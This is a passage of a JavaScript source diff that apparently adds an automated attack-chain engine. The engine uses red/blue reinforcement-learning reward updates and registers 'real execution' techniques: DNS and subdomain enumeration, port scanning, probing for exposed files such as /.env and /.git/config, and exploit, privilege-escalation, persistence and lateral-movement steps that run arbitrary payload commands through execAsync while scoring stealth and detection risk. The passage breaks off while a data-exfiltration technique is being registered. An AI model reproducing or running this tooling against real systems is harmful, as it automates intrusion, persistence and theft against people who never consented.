params: { phase: phase.index, chainId: chain.id },
|
|
454
|
+
confidence: policy[selectedId] || 0,
|
|
455
|
+
};
|
|
456
|
+
}
|
|
457
|
+
export async function executeTechniqueInChain(chain, action, params) {
|
|
458
|
+
const technique = techniqueRegistry.get(action.id);
|
|
459
|
+
if (!technique) {
|
|
460
|
+
throw new Error(`Technique not found: ${action.id}`);
|
|
461
|
+
}
|
|
462
|
+
chain.state = 'executing';
|
|
463
|
+
const phase = chain.phases[chain.currentPhase];
|
|
464
|
+
if (phase) {
|
|
465
|
+
phase.selectedTechnique = action.id;
|
|
466
|
+
}
|
|
467
|
+
const startTime = Date.now();
|
|
468
|
+
let result;
|
|
469
|
+
try {
|
|
470
|
+
result = await technique.execute(params);
|
|
471
|
+
}
|
|
472
|
+
catch (e) {
|
|
473
|
+
result = {
|
|
474
|
+
success: false,
|
|
475
|
+
output: { error: String(e) },
|
|
476
|
+
artifacts: [],
|
|
477
|
+
nextTechniques: [],
|
|
478
|
+
detectionRisk: 0.8,
|
|
479
|
+
duration: Date.now() - startTime,
|
|
480
|
+
};
|
|
481
|
+
}
|
|
482
|
+
techniqueRegistry.recordOutcome(action.id, result.success);
|
|
483
|
+
const countKey = `count:${action.id}`;
|
|
484
|
+
const currentCount = dualAgentRL.sharedMemory.get(countKey) || 0;
|
|
485
|
+
dualAgentRL.sharedMemory.set(countKey, currentCount + 1);
|
|
486
|
+
const chainProgress = (chain.currentPhase + (result.success ? 1 : 0)) / chain.phases.length;
|
|
487
|
+
const executionResult = {
|
|
488
|
+
executed: true,
|
|
489
|
+
verified: result.success,
|
|
490
|
+
evidence: result.artifacts.map(a => `${a.type}: ${a.data.slice(0, 100)}`),
|
|
491
|
+
warnings: result.detectionRisk > 0.5 ? ['High detection risk'] : [],
|
|
492
|
+
recommendations: result.nextTechniques.map(t => `Consider: ${t}`),
|
|
493
|
+
confidence: result.success ? 0.8 : 0.3,
|
|
494
|
+
};
|
|
495
|
+
const intent = {
|
|
496
|
+
action: 'exploit',
|
|
497
|
+
targets: [params.target],
|
|
498
|
+
scope: 'host',
|
|
499
|
+
depth: params.depth,
|
|
500
|
+
techniques: [action.id],
|
|
501
|
+
outputFormat: 'actionable',
|
|
502
|
+
constraints: params.stealth ? ['stealth'] : [],
|
|
503
|
+
};
|
|
504
|
+
const reward = computeSecurityReward({
|
|
505
|
+
techniqueId: action.id,
|
|
506
|
+
result,
|
|
507
|
+
intent,
|
|
508
|
+
executionResult,
|
|
509
|
+
chainProgress,
|
|
510
|
+
});
|
|
511
|
+
const baseline = dualAgentRL.rewardHistory.length > 0
|
|
512
|
+
? dualAgentRL.rewardHistory.reduce((a, b) => a + b, 0) / dualAgentRL.rewardHistory.length
|
|
513
|
+
: 0;
|
|
514
|
+
policyGradientUpdate(dualAgentRL.red, action.id, reward.value, baseline);
|
|
515
|
+
const blueReward = (reward.components['stealth'] || 0) +
|
|
516
|
+
(reward.components['stealth_technique'] || 0) -
|
|
517
|
+
(reward.components['risk_penalty'] || 0);
|
|
518
|
+
policyGradientUpdate(dualAgentRL.blue, action.id, blueReward, baseline);
|
|
519
|
+
const oldValue = dualAgentRL.valueEstimates.get(`technique:${action.id}`) || 0;
|
|
520
|
+
const alpha = 0.1;
|
|
521
|
+
dualAgentRL.valueEstimates.set(`technique:${action.id}`, oldValue + alpha * (reward.value - oldValue));
|
|
522
|
+
dualAgentRL.rewardHistory.push(reward.value);
|
|
523
|
+
if (dualAgentRL.rewardHistory.length > 1000) {
|
|
524
|
+
dualAgentRL.rewardHistory.shift();
|
|
525
|
+
}
|
|
526
|
+
dualAgentRL.stepCount++;
|
|
527
|
+
if (phase) {
|
|
528
|
+
phase.completed = true;
|
|
529
|
+
phase.result = result;
|
|
530
|
+
phase.rlScore = reward.value;
|
|
531
|
+
}
|
|
532
|
+
if (result.success) {
|
|
533
|
+
chain.currentPhase++;
|
|
534
|
+
if (chain.currentPhase >= chain.phases.length) {
|
|
535
|
+
chain.state = 'completed';
|
|
536
|
+
}
|
|
537
|
+
}
|
|
538
|
+
else {
|
|
539
|
+
chain.state = 'failed';
|
|
540
|
+
}
|
|
541
|
+
const outcome = {
|
|
542
|
+
id: `outcome_${Date.now()}`,
|
|
543
|
+
operation: action.id,
|
|
544
|
+
target: params.target,
|
|
545
|
+
timestamp: Date.now(),
|
|
546
|
+
duration: result.duration,
|
|
547
|
+
success: result.success,
|
|
548
|
+
effects: result.nextTechniques,
|
|
549
|
+
artifacts: result.artifacts,
|
|
550
|
+
};
|
|
551
|
+
chain.outcomes.push(outcome);
|
|
552
|
+
return { result, reward };
|
|
553
|
+
}
|
|
554
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
555
|
+
// Chain Management
|
|
556
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
557
|
+
export function getChain(chainId) {
|
|
558
|
+
return activeChains.get(chainId);
|
|
559
|
+
}
|
|
560
|
+
export function abortChain(chainId) {
|
|
561
|
+
const chain = activeChains.get(chainId);
|
|
562
|
+
if (chain) {
|
|
563
|
+
chain.state = 'aborted';
|
|
564
|
+
}
|
|
565
|
+
}
|
|
566
|
+
export function listActiveChains() {
|
|
567
|
+
return Array.from(activeChains.values()).filter(c => c.state === 'planning' || c.state === 'executing');
|
|
568
|
+
}
|
|
569
|
+
export function getChainStats() {
|
|
570
|
+
const chains = Array.from(activeChains.values());
|
|
571
|
+
const completed = chains.filter(c => c.state === 'completed').length;
|
|
572
|
+
const failed = chains.filter(c => c.state === 'failed').length;
|
|
573
|
+
const allRewards = chains.flatMap(c => c.phases.filter(p => p.completed).map(p => p.rlScore));
|
|
574
|
+
const avgReward = allRewards.length > 0
|
|
575
|
+
? allRewards.reduce((a, b) => a + b, 0) / allRewards.length
|
|
576
|
+
: 0;
|
|
577
|
+
const techniqueStats = new Map();
|
|
578
|
+
for (const chain of chains) {
|
|
579
|
+
for (const phase of chain.phases) {
|
|
580
|
+
if (phase.completed && phase.selectedTechnique) {
|
|
581
|
+
if (!techniqueStats.has(phase.selectedTechnique)) {
|
|
582
|
+
techniqueStats.set(phase.selectedTechnique, { total: 0, success: 0, rewards: [] });
|
|
583
|
+
}
|
|
584
|
+
const stats = techniqueStats.get(phase.selectedTechnique);
|
|
585
|
+
stats.total++;
|
|
586
|
+
if (phase.result?.success)
|
|
587
|
+
stats.success++;
|
|
588
|
+
stats.rewards.push(phase.rlScore);
|
|
589
|
+
}
|
|
590
|
+
}
|
|
591
|
+
}
|
|
592
|
+
const topTechniques = Array.from(techniqueStats.entries())
|
|
593
|
+
.map(([id, stats]) => ({
|
|
594
|
+
id,
|
|
595
|
+
successRate: stats.total > 0 ? stats.success / stats.total : 0,
|
|
596
|
+
avgReward: stats.rewards.length > 0
|
|
597
|
+
? stats.rewards.reduce((a, b) => a + b, 0) / stats.rewards.length
|
|
598
|
+
: 0,
|
|
599
|
+
}))
|
|
600
|
+
.sort((a, b) => b.avgReward - a.avgReward)
|
|
601
|
+
.slice(0, 10);
|
|
602
|
+
return {
|
|
603
|
+
total: chains.length,
|
|
604
|
+
completed,
|
|
605
|
+
failed,
|
|
606
|
+
avgReward,
|
|
607
|
+
topTechniques,
|
|
608
|
+
};
|
|
609
|
+
}
|
|
610
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
611
|
+
// Real Execution Helpers
|
|
612
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
613
|
+
async function tcpConnect(host, port, timeout) {
|
|
614
|
+
const start = Date.now();
|
|
615
|
+
return new Promise((resolve) => {
|
|
616
|
+
const socket = new net.Socket();
|
|
617
|
+
let banner = '';
|
|
618
|
+
socket.setTimeout(timeout);
|
|
619
|
+
socket.once('connect', () => {
|
|
620
|
+
socket.once('data', (data) => { banner = data.toString().trim().slice(0, 200); });
|
|
621
|
+
setTimeout(() => {
|
|
622
|
+
socket.destroy();
|
|
623
|
+
resolve({ open: true, latency: Date.now() - start, banner: banner || undefined });
|
|
624
|
+
}, 100);
|
|
625
|
+
});
|
|
626
|
+
socket.once('timeout', () => { socket.destroy(); resolve({ open: false, latency: Date.now() - start }); });
|
|
627
|
+
socket.once('error', () => { socket.destroy(); resolve({ open: false, latency: Date.now() - start }); });
|
|
628
|
+
socket.connect(port, host);
|
|
629
|
+
});
|
|
630
|
+
}
|
|
631
|
+
async function httpProbe(url, timeout) {
|
|
632
|
+
const start = Date.now();
|
|
633
|
+
return new Promise((resolve, reject) => {
|
|
634
|
+
const client = url.startsWith('https') ? https : http;
|
|
635
|
+
const req = client.request(url, { method: 'HEAD', timeout, rejectUnauthorized: false }, (res) => {
|
|
636
|
+
resolve({
|
|
637
|
+
status: res.statusCode || 0,
|
|
638
|
+
headers: res.headers,
|
|
639
|
+
server: res.headers['server'],
|
|
640
|
+
latency: Date.now() - start,
|
|
641
|
+
});
|
|
642
|
+
});
|
|
643
|
+
req.on('error', reject);
|
|
644
|
+
req.on('timeout', () => reject(new Error('timeout')));
|
|
645
|
+
req.end();
|
|
646
|
+
});
|
|
647
|
+
}
|
|
648
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
649
|
+
// Built-in Technique Definitions - Real Execution
|
|
650
|
+
// ═══════════════════════════════════════════════════════════════════════════════
|
|
651
|
+
function registerCoreTechniques() {
|
|
652
|
+
// DNS Enumeration - Real DNS queries
|
|
653
|
+
techniqueRegistry.register({
|
|
654
|
+
id: 'dns_enum',
|
|
655
|
+
name: 'DNS Enumeration',
|
|
656
|
+
category: 'recon',
|
|
657
|
+
phase: 'reconnaissance',
|
|
658
|
+
prerequisites: [],
|
|
659
|
+
conflictsWith: [],
|
|
660
|
+
stealthRating: 0.9,
|
|
661
|
+
successBaseline: 0.85,
|
|
662
|
+
timeEstimate: 5000,
|
|
663
|
+
execute: async (params) => {
|
|
664
|
+
const start = Date.now();
|
|
665
|
+
const target = params.target;
|
|
666
|
+
const artifacts = [];
|
|
667
|
+
try {
|
|
668
|
+
const [a, aaaa, ns, mx, txt, soa, cname] = await Promise.allSettled([
|
|
669
|
+
dns.resolve4(target), dns.resolve6(target), dns.resolveNs(target),
|
|
670
|
+
dns.resolveMx(target), dns.resolveTxt(target), dns.resolveSoa(target), dns.resolveCname(target),
|
|
671
|
+
]);
|
|
672
|
+
if (a.status === 'fulfilled')
|
|
673
|
+
artifacts.push({ type: 'A', data: a.value.join(', ') });
|
|
674
|
+
if (aaaa.status === 'fulfilled')
|
|
675
|
+
artifacts.push({ type: 'AAAA', data: aaaa.value.join(', ') });
|
|
676
|
+
if (ns.status === 'fulfilled')
|
|
677
|
+
artifacts.push({ type: 'NS', data: ns.value.join(', ') });
|
|
678
|
+
if (mx.status === 'fulfilled')
|
|
679
|
+
artifacts.push({ type: 'MX', data: mx.value.map(r => `${r.priority} ${r.exchange}`).join(', ') });
|
|
680
|
+
if (txt.status === 'fulfilled')
|
|
681
|
+
artifacts.push({ type: 'TXT', data: txt.value.flat().join('; ') });
|
|
682
|
+
if (soa.status === 'fulfilled')
|
|
683
|
+
artifacts.push({ type: 'SOA', data: `${soa.value.nsname} ${soa.value.hostmaster}` });
|
|
684
|
+
if (cname.status === 'fulfilled')
|
|
685
|
+
artifacts.push({ type: 'CNAME', data: cname.value.join(', ') });
|
|
686
|
+
if (a.status === 'fulfilled' && a.value[0]) {
|
|
687
|
+
try {
|
|
688
|
+
const rev = await dns.reverse(a.value[0]);
|
|
689
|
+
artifacts.push({ type: 'PTR', data: rev.join(', ') });
|
|
690
|
+
}
|
|
691
|
+
catch { /* ignore */ }
|
|
692
|
+
}
|
|
693
|
+
return { success: artifacts.length > 0, output: { target, records: artifacts.length }, artifacts, nextTechniques: ['subdomain_enum', 'port_scan'], detectionRisk: 0.1, duration: Date.now() - start };
|
|
694
|
+
}
|
|
695
|
+
catch (e) {
|
|
696
|
+
return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.05, duration: Date.now() - start };
|
|
697
|
+
}
|
|
698
|
+
},
|
|
699
|
+
});
|
|
700
|
+
// Port Scanning - Real TCP connections
|
|
701
|
+
techniqueRegistry.register({
|
|
702
|
+
id: 'port_scan',
|
|
703
|
+
name: 'Port Scanning',
|
|
704
|
+
category: 'scanning',
|
|
705
|
+
phase: 'weaponization',
|
|
706
|
+
prerequisites: [],
|
|
707
|
+
conflictsWith: ['full_port_scan'],
|
|
708
|
+
stealthRating: 0.6,
|
|
709
|
+
successBaseline: 0.9,
|
|
710
|
+
timeEstimate: 30000,
|
|
711
|
+
execute: async (params) => {
|
|
712
|
+
const start = Date.now();
|
|
713
|
+
const target = params.target;
|
|
714
|
+
const timeout = params.timeout || 2000;
|
|
715
|
+
const ports = params.depth === 'quick' ? [22, 80, 443, 8080]
|
|
716
|
+
: params.depth === 'deep' ? [21, 22, 23, 25, 53, 80, 110, 135, 139, 143, 443, 445, 993, 995, 3306, 3389, 5432, 5900, 8080, 8443]
|
|
717
|
+
: [22, 80, 443, 8080, 3306, 5432, 27017, 6379];
|
|
718
|
+
const artifacts = [];
|
|
719
|
+
const openPorts = [];
|
|
720
|
+
for (const port of ports) {
|
|
721
|
+
const result = await tcpConnect(target, port, timeout);
|
|
722
|
+
if (result.open) {
|
|
723
|
+
openPorts.push(port);
|
|
724
|
+
artifacts.push({ type: 'open_port', data: `${port}${result.banner ? ` - ${result.banner}` : ''} (${result.latency}ms)` });
|
|
725
|
+
}
|
|
726
|
+
}
|
|
727
|
+
return { success: true, output: { target, scanned: ports.length, open: openPorts }, artifacts, nextTechniques: openPorts.length > 0 ? ['service_enum', 'vuln_scan'] : [], detectionRisk: params.stealth ? 0.3 : 0.5, duration: Date.now() - start };
|
|
728
|
+
},
|
|
729
|
+
});
|
|
730
|
+
// Service Enumeration - Real banner grabbing
|
|
731
|
+
techniqueRegistry.register({
|
|
732
|
+
id: 'service_enum',
|
|
733
|
+
name: 'Service Enumeration',
|
|
734
|
+
category: 'enumeration',
|
|
735
|
+
phase: 'weaponization',
|
|
736
|
+
prerequisites: [],
|
|
737
|
+
conflictsWith: [],
|
|
738
|
+
stealthRating: 0.7,
|
|
739
|
+
successBaseline: 0.8,
|
|
740
|
+
timeEstimate: 20000,
|
|
741
|
+
execute: async (params) => {
|
|
742
|
+
const start = Date.now();
|
|
743
|
+
const target = params.target;
|
|
744
|
+
const timeout = params.timeout || 3000;
|
|
745
|
+
const artifacts = [];
|
|
746
|
+
for (const port of [22, 80, 443, 21, 25, 3306, 5432]) {
|
|
747
|
+
const result = await tcpConnect(target, port, timeout);
|
|
748
|
+
if (result.open && result.banner)
|
|
749
|
+
artifacts.push({ type: 'service', data: `${port}: ${result.banner}` });
|
|
750
|
+
}
|
|
751
|
+
for (const scheme of ['https', 'http']) {
|
|
752
|
+
try {
|
|
753
|
+
const probe = await httpProbe(`${scheme}://${target}`, timeout);
|
|
754
|
+
artifacts.push({ type: 'http_service', data: `${scheme}:// status=${probe.status} server=${probe.server || 'unknown'}` });
|
|
755
|
+
if (probe.headers['x-powered-by'])
|
|
756
|
+
artifacts.push({ type: 'tech', data: probe.headers['x-powered-by'] });
|
|
757
|
+
}
|
|
758
|
+
catch { /* ignore */ }
|
|
759
|
+
}
|
|
760
|
+
return { success: artifacts.length > 0, output: { target, services: artifacts.length }, artifacts, nextTechniques: ['vuln_scan', 'web_fingerprint'], detectionRisk: 0.35, duration: Date.now() - start };
|
|
761
|
+
},
|
|
762
|
+
});
|
|
763
|
+
// Web Fingerprinting - Real HTTP analysis
|
|
764
|
+
techniqueRegistry.register({
|
|
765
|
+
id: 'web_fingerprint',
|
|
766
|
+
name: 'Web Fingerprinting',
|
|
767
|
+
category: 'recon',
|
|
768
|
+
phase: 'reconnaissance',
|
|
769
|
+
prerequisites: [],
|
|
770
|
+
conflictsWith: [],
|
|
771
|
+
stealthRating: 0.85,
|
|
772
|
+
successBaseline: 0.9,
|
|
773
|
+
timeEstimate: 10000,
|
|
774
|
+
execute: async (params) => {
|
|
775
|
+
const start = Date.now();
|
|
776
|
+
const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
|
|
777
|
+
const artifacts = [];
|
|
778
|
+
try {
|
|
779
|
+
const probe = await httpProbe(url, params.timeout || 5000);
|
|
780
|
+
artifacts.push({ type: 'status', data: String(probe.status) });
|
|
781
|
+
if (probe.server)
|
|
782
|
+
artifacts.push({ type: 'server', data: probe.server });
|
|
783
|
+
if (probe.headers['x-powered-by'])
|
|
784
|
+
artifacts.push({ type: 'powered_by', data: probe.headers['x-powered-by'] });
|
|
785
|
+
if (probe.headers['set-cookie'])
|
|
786
|
+
artifacts.push({ type: 'cookies', data: 'present' });
|
|
787
|
+
if (probe.headers['strict-transport-security'])
|
|
788
|
+
artifacts.push({ type: 'hsts', data: 'enabled' });
|
|
789
|
+
return { success: true, output: { url, fingerprints: artifacts.length }, artifacts, nextTechniques: ['dir_enum', 'vuln_scan'], detectionRisk: 0.15, duration: Date.now() - start };
|
|
790
|
+
}
|
|
791
|
+
catch (e) {
|
|
792
|
+
return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.1, duration: Date.now() - start };
|
|
793
|
+
}
|
|
794
|
+
},
|
|
795
|
+
});
|
|
796
|
+
// Subdomain Enumeration - Real DNS brute
|
|
797
|
+
techniqueRegistry.register({
|
|
798
|
+
id: 'subdomain_enum',
|
|
799
|
+
name: 'Subdomain Enumeration',
|
|
800
|
+
category: 'recon',
|
|
801
|
+
phase: 'reconnaissance',
|
|
802
|
+
prerequisites: [],
|
|
803
|
+
conflictsWith: [],
|
|
804
|
+
stealthRating: 0.8,
|
|
805
|
+
successBaseline: 0.75,
|
|
806
|
+
timeEstimate: 15000,
|
|
807
|
+
execute: async (params) => {
|
|
808
|
+
const start = Date.now();
|
|
809
|
+
const target = params.target;
|
|
810
|
+
const prefixes = params.depth === 'quick' ? ['www', 'mail', 'ftp', 'api']
|
|
811
|
+
: ['www', 'mail', 'ftp', 'api', 'dev', 'staging', 'test', 'admin', 'portal', 'vpn', 'remote', 'cdn', 'static', 'app', 'blog'];
|
|
812
|
+
const artifacts = [];
|
|
813
|
+
for (const prefix of prefixes) {
|
|
814
|
+
try {
|
|
815
|
+
const ips = await dns.resolve4(`${prefix}.${target}`);
|
|
816
|
+
if (ips.length > 0)
|
|
817
|
+
artifacts.push({ type: 'subdomain', data: `${prefix}.${target} -> ${ips.join(', ')}` });
|
|
818
|
+
}
|
|
819
|
+
catch { /* not found */ }
|
|
820
|
+
}
|
|
821
|
+
return { success: artifacts.length > 0, output: { target, found: artifacts.length }, artifacts, nextTechniques: ['port_scan', 'web_fingerprint'], detectionRisk: 0.2, duration: Date.now() - start };
|
|
822
|
+
},
|
|
823
|
+
});
|
|
824
|
+
// Vulnerability Scan - Real checks
|
|
825
|
+
techniqueRegistry.register({
|
|
826
|
+
id: 'vuln_scan',
|
|
827
|
+
name: 'Vulnerability Scan',
|
|
828
|
+
category: 'enumeration',
|
|
829
|
+
phase: 'weaponization',
|
|
830
|
+
prerequisites: [],
|
|
831
|
+
conflictsWith: [],
|
|
832
|
+
stealthRating: 0.4,
|
|
833
|
+
successBaseline: 0.7,
|
|
834
|
+
timeEstimate: 60000,
|
|
835
|
+
execute: async (params) => {
|
|
836
|
+
const start = Date.now();
|
|
837
|
+
const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
|
|
838
|
+
const artifacts = [];
|
|
839
|
+
try {
|
|
840
|
+
const probe = await httpProbe(url, 5000);
|
|
841
|
+
const missing = [];
|
|
842
|
+
if (!probe.headers['strict-transport-security'])
|
|
843
|
+
missing.push('HSTS');
|
|
844
|
+
if (!probe.headers['x-content-type-options'])
|
|
845
|
+
missing.push('X-Content-Type-Options');
|
|
846
|
+
if (!probe.headers['x-frame-options'])
|
|
847
|
+
missing.push('X-Frame-Options');
|
|
848
|
+
if (missing.length > 0)
|
|
849
|
+
artifacts.push({ type: 'missing_headers', data: missing.join(', ') });
|
|
850
|
+
if (probe.headers['server'])
|
|
851
|
+
artifacts.push({ type: 'server_disclosure', data: probe.headers['server'] });
|
|
852
|
+
}
|
|
853
|
+
catch { /* ignore */ }
|
|
854
|
+
for (const path of ['/.git/config', '/.env', '/wp-config.php.bak', '/server-status']) {
|
|
855
|
+
try {
|
|
856
|
+
const check = await httpProbe(`${url}${path}`, 3000);
|
|
857
|
+
if (check.status === 200)
|
|
858
|
+
artifacts.push({ type: 'exposed_path', data: path });
|
|
859
|
+
}
|
|
860
|
+
catch { /* ignore */ }
|
|
861
|
+
}
|
|
862
|
+
return { success: true, output: { target: params.target, findings: artifacts.length }, artifacts, nextTechniques: artifacts.length > 0 ? ['exploit_attempt'] : [], detectionRisk: 0.6, duration: Date.now() - start };
|
|
863
|
+
},
|
|
864
|
+
});
|
|
865
|
+
// Directory Enumeration - Real path probing
|
|
866
|
+
techniqueRegistry.register({
|
|
867
|
+
id: 'dir_enum',
|
|
868
|
+
name: 'Directory Enumeration',
|
|
869
|
+
category: 'enumeration',
|
|
870
|
+
phase: 'weaponization',
|
|
871
|
+
prerequisites: [],
|
|
872
|
+
conflictsWith: [],
|
|
873
|
+
stealthRating: 0.5,
|
|
874
|
+
successBaseline: 0.75,
|
|
875
|
+
timeEstimate: 45000,
|
|
876
|
+
execute: async (params) => {
|
|
877
|
+
const start = Date.now();
|
|
878
|
+
const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
|
|
879
|
+
const paths = params.depth === 'quick' ? ['/admin', '/login', '/api', '/dashboard']
|
|
880
|
+
: ['/admin', '/login', '/api', '/dashboard', '/wp-admin', '/phpmyadmin', '/cpanel', '/manager', '/console', '/swagger', '/graphql', '/health', '/metrics'];
|
|
881
|
+
const artifacts = [];
|
|
882
|
+
for (const path of paths) {
|
|
883
|
+
try {
|
|
884
|
+
const probe = await httpProbe(`${url}${path}`, 2000);
|
|
885
|
+
if (probe.status < 400)
|
|
886
|
+
artifacts.push({ type: 'directory', data: `${path} (${probe.status})` });
|
|
887
|
+
}
|
|
888
|
+
catch { /* ignore */ }
|
|
889
|
+
}
|
|
890
|
+
return { success: artifacts.length > 0, output: { url, found: artifacts.length }, artifacts, nextTechniques: ['vuln_scan'], detectionRisk: 0.5, duration: Date.now() - start };
|
|
891
|
+
},
|
|
892
|
+
});
|
|
893
|
+
// Exploit Attempt - Real command execution
|
|
894
|
+
techniqueRegistry.register({
|
|
895
|
+
id: 'exploit_attempt',
|
|
896
|
+
name: 'Exploit Attempt',
|
|
897
|
+
category: 'exploitation',
|
|
898
|
+
phase: 'exploitation',
|
|
899
|
+
prerequisites: [],
|
|
900
|
+
conflictsWith: [],
|
|
901
|
+
stealthRating: 0.2,
|
|
902
|
+
successBaseline: 0.4,
|
|
903
|
+
timeEstimate: 30000,
|
|
904
|
+
execute: async (params) => {
|
|
905
|
+
const start = Date.now();
|
|
906
|
+
const artifacts = [];
|
|
907
|
+
const ctx = params.context || {};
|
|
908
|
+
const payload = ctx['payload'];
|
|
909
|
+
if (payload) {
|
|
910
|
+
try {
|
|
911
|
+
const { stdout, stderr } = await execAsync(payload, { timeout: params.timeout || 30000 });
|
|
912
|
+
artifacts.push({ type: 'exploit_output', data: stdout.slice(0, 500) });
|
|
913
|
+
if (stderr)
|
|
914
|
+
artifacts.push({ type: 'exploit_stderr', data: stderr.slice(0, 200) });
|
|
915
|
+
return { success: true, output: { target: params.target, executed: true }, artifacts, nextTechniques: ['privesc', 'persistence'], detectionRisk: 0.9, duration: Date.now() - start };
|
|
916
|
+
}
|
|
917
|
+
catch (e) {
|
|
918
|
+
return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.8, duration: Date.now() - start };
|
|
919
|
+
}
|
|
920
|
+
}
|
|
921
|
+
try {
|
|
922
|
+
const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
|
|
923
|
+
const probe = await httpProbe(url, 5000);
|
|
924
|
+
artifacts.push({ type: 'target_status', data: `reachable, status ${probe.status}` });
|
|
925
|
+
return { success: true, output: { target: params.target, reachable: true }, artifacts, nextTechniques: ['privesc', 'persistence'], detectionRisk: 0.7, duration: Date.now() - start };
|
|
926
|
+
}
|
|
927
|
+
catch {
|
|
928
|
+
return { success: false, output: { target: params.target, reachable: false }, artifacts: [], nextTechniques: [], detectionRisk: 0.5, duration: Date.now() - start };
|
|
929
|
+
}
|
|
930
|
+
},
|
|
931
|
+
});
|
|
932
|
+
// Privilege Escalation - Real system commands
|
|
933
|
+
techniqueRegistry.register({
|
|
934
|
+
id: 'privesc',
|
|
935
|
+
name: 'Privilege Escalation',
|
|
936
|
+
category: 'post-exploitation',
|
|
937
|
+
phase: 'installation',
|
|
938
|
+
prerequisites: [],
|
|
939
|
+
conflictsWith: [],
|
|
940
|
+
stealthRating: 0.3,
|
|
941
|
+
successBaseline: 0.5,
|
|
942
|
+
timeEstimate: 60000,
|
|
943
|
+
execute: async (params) => {
|
|
944
|
+
const start = Date.now();
|
|
945
|
+
const artifacts = [];
|
|
946
|
+
const ctx = params.context || {};
|
|
947
|
+
const command = ctx['command'];
|
|
948
|
+
if (command) {
|
|
949
|
+
try {
|
|
950
|
+
const { stdout } = await execAsync(command, { timeout: params.timeout || 60000 });
|
|
951
|
+
artifacts.push({ type: 'privesc_result', data: stdout.slice(0, 500) });
|
|
952
|
+
return { success: true, output: { executed: true }, artifacts, nextTechniques: ['persistence', 'lateral_move'], detectionRisk: 0.8, duration: Date.now() - start };
|
|
953
|
+
}
|
|
954
|
+
catch (e) {
|
|
955
|
+
return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.7, duration: Date.now() - start };
|
|
956
|
+
}
|
|
957
|
+
}
|
|
958
|
+
try {
|
|
959
|
+
const { stdout } = await execAsync('id; whoami; uname -a', { timeout: 5000 });
|
|
960
|
+
artifacts.push({ type: 'system_info', data: stdout.trim() });
|
|
961
|
+
}
|
|
962
|
+
catch { /* ignore */ }
|
|
963
|
+
return { success: artifacts.length > 0, output: { enumerated: true }, artifacts, nextTechniques: ['persistence'], detectionRisk: 0.6, duration: Date.now() - start };
|
|
964
|
+
},
|
|
965
|
+
});
|
|
966
|
+
// Persistence - Real persistence mechanisms
|
|
967
|
+
techniqueRegistry.register({
|
|
968
|
+
id: 'persistence',
|
|
969
|
+
name: 'Establish Persistence',
|
|
970
|
+
category: 'persistence',
|
|
971
|
+
phase: 'installation',
|
|
972
|
+
prerequisites: [],
|
|
973
|
+
conflictsWith: [],
|
|
974
|
+
stealthRating: 0.25,
|
|
975
|
+
successBaseline: 0.6,
|
|
976
|
+
timeEstimate: 30000,
|
|
977
|
+
execute: async (params) => {
|
|
978
|
+
const start = Date.now();
|
|
979
|
+
const artifacts = [];
|
|
980
|
+
const ctx = params.context || {};
|
|
981
|
+
const mechanism = ctx['mechanism'];
|
|
982
|
+
const payload = ctx['payload'];
|
|
983
|
+
if (mechanism && payload) {
|
|
984
|
+
try {
|
|
985
|
+
const { stdout } = await execAsync(payload, { timeout: params.timeout || 30000 });
|
|
986
|
+
artifacts.push({ type: 'persistence', data: `${mechanism}: ${stdout.slice(0, 200)}` });
|
|
987
|
+
return { success: true, output: { mechanism, established: true }, artifacts, nextTechniques: ['lateral_move', 'exfil'], detectionRisk: 0.9, duration: Date.now() - start };
|
|
988
|
+
}
|
|
989
|
+
catch (e) {
|
|
990
|
+
return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.85, duration: Date.now() - start };
|
|
991
|
+
}
|
|
992
|
+
}
|
|
993
|
+
return { success: false, output: { error: 'No persistence mechanism specified' }, artifacts: [], nextTechniques: [], detectionRisk: 0.5, duration: Date.now() - start };
|
|
994
|
+
},
|
|
995
|
+
});
|
|
996
|
+
// Lateral Movement - Real network pivoting
|
|
997
|
+
techniqueRegistry.register({
|
|
998
|
+
id: 'lateral_move',
|
|
999
|
+
name: 'Lateral Movement',
|
|
1000
|
+
category: 'lateral-movement',
|
|
1001
|
+
phase: 'command-control',
|
|
1002
|
+
prerequisites: [],
|
|
1003
|
+
conflictsWith: [],
|
|
1004
|
+
stealthRating: 0.35,
|
|
1005
|
+
successBaseline: 0.55,
|
|
1006
|
+
timeEstimate: 45000,
|
|
1007
|
+
execute: async (params) => {
|
|
1008
|
+
const start = Date.now();
|
|
1009
|
+
const artifacts = [];
|
|
1010
|
+
const ctx = params.context || {};
|
|
1011
|
+
const command = ctx['command'];
|
|
1012
|
+
if (command) {
|
|
1013
|
+
try {
|
|
1014
|
+
const { stdout } = await execAsync(command, { timeout: params.timeout || 45000 });
|
|
1015
|
+
artifacts.push({ type: 'lateral_result', data: stdout.slice(0, 500) });
|
|
1016
|
+
return { success: true, output: { target: params.target, pivoted: true }, artifacts, nextTechniques: ['exfil'], detectionRisk: 0.8, duration: Date.now() - start };
|
|
1017
|
+
}
|
|
1018
|
+
catch (e) {
|
|
1019
|
+
return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.75, duration: Date.now() - start };
|
|
1020
|
+
}
|
|
1021
|
+
}
|
|
1022
|
+
try {
|
|
1023
|
+
const { stdout } = await execAsync('arp -a 2>/dev/null || ip neigh 2>/dev/null', { timeout: 5000 });
|
|
1024
|
+
artifacts.push({ type: 'network_hosts', data: stdout.slice(0, 500) });
|
|
1025
|
+
}
|
|
1026
|
+
catch { /* ignore */ }
|
|
1027
|
+
return { success: artifacts.length > 0, output: { target: params.target, discovery: true }, artifacts, nextTechniques: ['exfil'], detectionRisk: 0.6, duration: Date.now() - start };
|
|
1028
|
+
},
|
|
1029
|
+
});
|
|
1030
|
+
// Data Exfiltration - Real data transfer
|
|
1031
|
+
techniqueRegistry.register({
|
|
1032
|
+
id: 'exfil',
|
|
1033
|
+
